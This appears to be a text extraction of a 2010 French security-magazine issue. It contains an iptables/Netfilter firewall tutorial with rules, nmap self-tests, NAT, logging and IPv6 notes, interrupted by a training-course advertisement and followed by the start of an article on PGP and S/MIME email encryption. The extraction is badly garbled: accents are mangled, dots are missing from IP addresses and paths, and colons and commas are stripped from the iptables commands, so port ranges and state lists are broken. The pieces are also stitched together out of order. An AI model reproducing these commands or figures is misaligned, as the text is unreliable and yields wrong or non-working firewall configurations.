tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

